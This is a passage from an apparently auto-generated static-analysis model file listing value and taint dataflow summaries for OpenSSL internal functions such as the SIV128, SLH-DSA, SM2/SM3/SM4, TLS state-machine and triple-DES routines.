"ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_decrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_encrypt", "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[**cipher_ctx].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_siv128_finish", "(SIV128_CONTEXT *)", "", "Argument[*0].Field[*final_ret]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_get_tag", "(SIV128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_siv128_init", "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[**cipher_ctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_init", "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[**cipher_ctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_new", "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**cipher_ctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_new", "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**cipher_ctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_set_tag", "(SIV128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*tag].Union[*siv_block_u]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_set_tag", "(SIV128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*tag].Union[*siv_block_u]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_hash_ctx_dup", "(const SLH_DSA_HASH_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_slh_dsa_hash_ctx_new", "(const SLH_DSA_KEY *)", "", "Argument[0]", "ReturnValue[*].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_dup", "(const SLH_DSA_KEY *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_fromdata", "(SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_n", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_name", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[**alg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_name", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_priv", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[*priv]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_priv_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**pub]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[*pub]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_pub_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*n]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_sig_len", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sig_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_get_type", "(const SLH_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_key_new", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*priv]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_priv", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*priv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_pub", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_set_pub", "(SLH_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_sign", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)", "", "Argument[4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_slh_dsa_verify", "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)", "", "Argument[4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_ciphertext_size", "(const EC_KEY *,const EVP_MD *,size_t,size_t *)", "", "Argument[*1].Field[*md_size]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_ciphertext_size", "(const EC_KEY *,const EVP_MD *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*0].Field[*priv_key]", "Argument[*0].Field[**priv_key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*2]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_do_sign", "(const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*1].Field[*md_size]", "Argument[*4].Field[**C3].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*2]", "Argument[*4].Field[**C2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[2]", "Argument[*4].Field[**C2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[*4].Field[**C2].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_sign", "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_verify", "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[*4].Field[*pub_key]", "Argument[*4].Field[**pub_key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_verify", "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_block_data_order", "(SM3_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_block_data_order", "(SM3_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_final", "(unsigned char *,SM3_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_transform", "(SM3_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_transform", "(SM3_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*2].Field[*rk]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*2].Field[*rk]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_set_key", "(const uint8_t *,SM4_KEY *)", "", "Argument[*0]", "Argument[*1].Field[*rk]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_set_key", "(const uint8_t *,SM4_KEY *)", "", "Argument[0]", "Argument[*1].Field[*rk]", "taint", "dfc-generated"] + - ["", "", True, "ossl_spki2typespki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_spki2typespki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new", "(SSL_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[*2]", "Argument[*0].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[2]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[3]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[**2]", "Argument[*0].Field[*rlayer].Field[***rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[*rlayer].Field[**custom_rlmethod]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[*2]", "Argument[*0].Field[*rlayer].Field[**rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*custom_rlmethod]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_client_max_message_size", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*max_cert_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_client_process_message", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statem_fatal", "(SSL_CONNECTION *,int,int,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_get_in_handshake", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*statem].Field[*in_handshake]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_get_state", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*statem].Field[*hand_state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_send_fatal", "(SSL_CONNECTION *,int)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_server_max_message_size", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*max_cert_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_server_process_message", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statem_set_in_init", "(SSL_CONNECTION *,int)", "", "Argument[1]", "Argument[*0].Field[*statem].Field[*in_init]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[*statem].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[*statem].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*statem].Field[*mutate_handshake_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*statem].Field[*finish_mutate_handshake_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[3]", "Argument[*0].Field[*statem].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statm_get_rtt_info", "(OSSL_STATM *,OSSL_RTT_INFO *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_statm_update_rtt", "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)", "", "Argument[1].Field[*t]", "Argument[*0].Field[*rtt_variance].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statm_update_rtt", "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)", "", "Argument[1].Field[*t]", "Argument[*0].Field[*smoothed_rtt].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_handle_load_result", "(const OSSL_PARAM[],void *)", "", "Argument[*1].Field[*v]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_handle_load_result", "(const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_loader_get_number", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*scheme_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[5]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*6]", "ReturnValue[*].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[1]", "ReturnValue[*].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[2]", "ReturnValue[*].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[3]", "ReturnValue[*].Field[*blocksize]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[4]", "ReturnValue[*].Field[*ivlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[6]", "ReturnValue[*].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tls_add_custom_ext_intern", "(SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *)", "", 